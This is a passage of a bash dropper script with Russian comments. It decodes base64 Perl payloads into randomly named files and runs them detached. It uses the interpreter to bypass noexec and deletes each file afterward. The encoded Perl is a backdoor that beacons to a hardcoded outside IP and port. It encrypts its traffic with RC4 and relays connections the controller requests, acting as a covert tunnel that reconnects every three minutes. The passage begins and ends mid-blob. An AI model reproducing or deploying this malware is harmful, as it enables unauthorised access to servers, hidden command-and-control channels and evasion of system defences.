kJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_2d39b717() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRk